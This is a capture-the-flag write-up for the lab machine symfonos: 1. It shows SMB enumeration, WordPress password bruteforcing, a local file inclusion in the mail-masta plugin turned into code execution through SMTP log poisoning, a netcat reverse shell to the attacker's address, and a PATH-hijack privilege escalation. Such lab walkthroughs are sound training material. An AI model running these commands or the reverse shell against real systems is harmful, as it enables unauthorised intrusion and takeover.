Symfonos-1

By Lawcky 20/01/24

Introduction

Symfonos-1

Difficulty : Easy+

Additionnal info :

Name: symfonos: 1
Release date: 29 Jun 2019
Author: Zayotic
Series: symfonos

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them

---

In this write-up

• Nmap
• Nikto
• Enum4Linux
• Wpscan
• Telnet
• Log poisoning (LFI)
• Reverse shell
• Writable Path

---

Write-UP

Enum4Linux

we run the enum4linux command on the smb service

---

SMB

smbclient -L 192.168.1.90

trying anonymous user without password
smbclient --user anonymous //192.168.1.90/anonymous

we get the file using get

using these passwords with the known username helios

smbclient --user helios //192.168.1.90/helios

helios:qwerty
(it is not the linux user password)

found a wordpress site

---

Wordpress

wpscan --> here

we add symfonos.local to /etc/hosts

user enumeration
user ‘helios’ is not valid, user ‘admin’ is

bruteforcing using wpscan

wpscan -U admin -P ~/tools/seclists/rockyou.txt --url http://symfonos.local/h3l105/

enumerate all plugins and themes

wpscan -e ap at --url http://symfonos.local/h3l105/

found this plugins

searchsploit mail masta

the sqli didnt work

found the LFI at http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

---

Log Poisoning

we have an LFI we can try to do log poisoning to get a remote code execution,

we cant find apache logs so lets try using the SMTP service.

LFI to /var/mail/helios

worked

we need to send a mail to helios@symfonos.local using the smtp service

telnet symfonos.local 25 ehlo 192.168.1.90

then using

MAIL TO: name RCPT TO: helios DATA and ends with .

now lets try the RCE

view-source:http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=ls

it worked

---

Reverse Shell

after some tries the reverse shell code that worked was the netcat one

nc -e /bin/sh 192.168.1.253 4444

we are directly connect as helios user

---

Privilege Escalation

from helios to root

found this in the SUID set of root user

it seems that it is running the date as well as the curl command

Writable Path

we added /tmp to the path, now lets create a fake curl file in /tmp to be called instead of the actual curl command.

echo '/bin/bash' > /tmp/curl

it ran it as the helios user

it turns out that when doing writable path if you call /bin/bash instead of /bin/sh the privesc wont work

after trying again with /bin/sh

got the flag